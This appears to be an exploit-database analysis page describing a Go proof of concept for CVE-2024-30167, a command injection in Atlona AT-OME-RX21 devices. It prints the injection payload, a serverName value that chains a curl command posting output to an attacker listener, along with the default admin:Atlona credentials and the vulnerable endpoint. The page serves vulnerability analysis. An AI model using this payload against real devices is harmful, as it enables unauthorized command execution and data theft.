Atlona ATOMERX21 - Authenticated Command Injection

ExploitDBExploitDB exploitExploitEDB-52513

PoC files

1 file

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

ExploitDB
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

Go source code that exploits CVE-2024-30167, an authenticated command injection in Atlona AT-OME-RX21 firmware <= 1.5.1. It sends a crafted JSON POST request to /cgi-bin/time.cgi with a malicious serverName parameter containing a shell command, then listens for the command output via a local HTTP server.

Backdoor review

No backdoor observed in reviewed code

The supplied Go source code implements a straightforward authenticated command injection exploit against Atlona AT-OME-RX21 devices. It sends a crafted JSON payload to /cgi-bin/time.cgi, starts a local HTTP listener to receive command output, and performs a graceful shutdown. No concealed executable behavior, unrelated payloads, persistence mechanisms, or operator-directed harm were observed.

ClassificationExploit
Model confidence100%
AuthenticationRequired
LanguagesGo
Target softwareAtlona AT-OME-RX21
Attack typescommand injection
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The code actively exploits CVE-2024-30167 by sending a crafted request that injects an arbitrary shell command into the serverName parameter, causing the target to execute it and return output to an attacker-controlled listener. This is a full exploit, not merely a scanner or writeup.

exploits/multiple/local/52513.go:1-10exploits/multiple/local/52513.go:95-134

Requirements

  • Valid credentials for the target device (default admin:Atlona)exploits/multiple/local/52513.go:41-42
  • Network access to the target device's /cgi-bin/time.cgi endpointexploits/multiple/local/52513.go:54
  • Attacker must run a listener reachable by the target to receive command outputexploits/multiple/local/52513.go:43-44

Observed behavior

  • Constructs a JSON payload with a command injection in the serverName field, using curl to POST command output back to the attacker's listenerexploits/multiple/local/52513.go:97
  • Sends an authenticated POST request to the target's /cgi-bin/time.cgi endpoint with the malicious payloadexploits/multiple/local/52513.go:99-112
  • Starts a local HTTP server to receive the exfiltrated command output from the targetexploits/multiple/local/52513.go:159-184
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Command Injection Payload
{"syncSntpTime":{"serverName":"time.google.com; curl -X POST --data \"$(%s)\" %s"}}The payload injects a command into the serverName parameter, using curl to POST the output of the attacker-supplied command back to the attacker's listener. This is the core exploit mechanism.exploits/multiple/local/52513.go:97
Listener
HTTP server on attacker-controlled host and portThe exploit starts an HTTP server to receive the exfiltrated command output from the target device.exploits/multiple/local/52513.go:55exploits/multiple/local/52513.go:65exploits/multiple/local/52513.go:159-184
Authentication
Basic authentication with attacker-supplied credentialsThe exploit uses HTTP Basic authentication with credentials provided via command-line flags (defaults: admin/Atlona).exploits/multiple/local/52513.go:41-42exploits/multiple/local/52513.go:98exploits/multiple/local/52513.go:105
Review boundaries

What the analysis did not establish

  • Only the exploit source code is provided; no external dependencies, build instructions, or execution environment are included.
  • The code is not executed or verified; classification is based solely on static analysis of the supplied text.
  • Only the supplied Go source file was reviewed; no external dependencies, compiled binaries, or runtime behavior were analyzed.
  • The review does not assess the safety or legality of using this exploit against systems without authorization.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1